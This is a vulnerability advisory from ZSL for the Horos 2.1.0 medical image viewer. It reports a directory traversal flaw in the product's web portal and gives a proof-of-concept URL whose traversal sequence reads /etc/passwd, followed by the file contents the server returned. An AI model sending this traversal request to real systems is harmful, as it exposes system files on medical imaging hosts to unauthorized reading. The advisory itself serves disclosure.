Horos 2.1.0 Web Portal Remote Information Disclosure Exploit Vendor: Horos Project Product web page: https://www.horosproject.org Affected version: 2.1.0 Summary: HorosaC/ is an open-source, free medical image viewer. The goal of the Horos Project is to develop a fully functional, 64-bit medical image viewer for OS X. Horos is based upon OsiriX and other open source medical imaging libraries. Desc: Horos suffers from a file disclosure vulnerability when input passed thru the URL path is not properly verified before being used to read files. This can be exploited to include files from local resources with directory traversal attacks. Tested on: macOS Sierra/10.12.2 macOS Sierra/10.12.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5387 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5387.php 15.12.2016 -- PoC request: http://127.0.0.1:3333/.../...//.../...//.../...//.../...//.../...//etc/passwd Response: ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false ... ... ...